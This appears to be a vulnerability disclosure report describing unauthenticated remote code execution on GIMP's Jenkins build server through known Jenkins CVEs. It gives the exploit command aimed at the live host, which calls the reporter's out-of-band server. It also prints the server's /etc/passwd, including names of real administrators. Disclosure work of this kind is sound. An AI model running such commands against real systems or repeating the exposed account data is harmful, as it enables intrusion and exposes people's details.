Jenkins Unauthenticated RCE on https://build.gimp.org/
Summary
While Searching Jenkins Dashboard I discovered that this domain (https://build.gimp.org/) vulnerable to this CVEs (CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029) allow attacker can execute arbitrary command commands on a target operating system.
Steps To Reproduce
Download the exploit (https://github.com/orangetw/awesome-jenkins-rce-2019) and issue the command below:
python2.7 exp.py https://build.gimp.org/ "curl http://my.IP/oob/"
Then I check my out of band server to verify that command executed.
Poc
Content of /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
messagebus:x:101:106::/var/run/dbus:/bin/false
colord:x:102:107:colord colour management daemon,,,:/var/lib/colord:/bin/false
usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false
Debian-exim:x:104:111::/var/spool/exim4:/bin/false
statd:x:105:65534::/var/lib/nfs:/bin/false
avahi:x:106:114:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
pulse:x:107:115:PulseAudio daemon,,,:/var/run/pulse:/bin/false
sshd:x:109:65534::/var/run/sshd:/usr/sbin/nologin
rtkit:x:110:117:RealtimeKit,,,:/proc:/bin/false
saned:x:111:118::/var/lib/saned:/bin/false
Debian-gdm:x:112:120:Gnome Display Manager:/var/lib/gdm3:/bin/false
cameron:x:2000:2000:Cameron Gregory,,,:/home/cameron:/bin/bash
scl:x:1002:1002:Sven,,,:/home/scl:/bin/bash
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/bin/false
clamav:x:115:121::/var/lib/clamav:/bin/false
ntp:x:108:123::/home/ntp:/bin/false
av:x:1001:1001:Andrea Veri,,,:/home/av:/bin/bash
geoclue:x:116:124::/var/lib/geoclue:/bin/false
sam:x:1003:1003:Sam Gleske,,,:/home/sam:/bin/bash
systemd-timesync:x:117:126:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:118:127:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:119:128:systemd Resolver,,,:/run/systemd/resolve:/bin/false
uuidd:x:100:101::/run/uuidd:/bin/false
_apt:x:121:65534::/nonexistent:/bin/false
andrea:x:1004:1005:Andrea Veri,,,:/home/andrea:/bin/bash
patdavid:x:1005:1006:Pat David,,,:/home/patdavid:/bin/bash
ofnuts:x:1006:1007:,,,:/home/ofnuts:/bin/bash
systemd-coredump:x:998:998:systemd Core Dumper:/:/sbin/nologin
jenkins:x:1000:1000:Jenkins Continuous Integration Server:/srv/jenkins:/bin/bash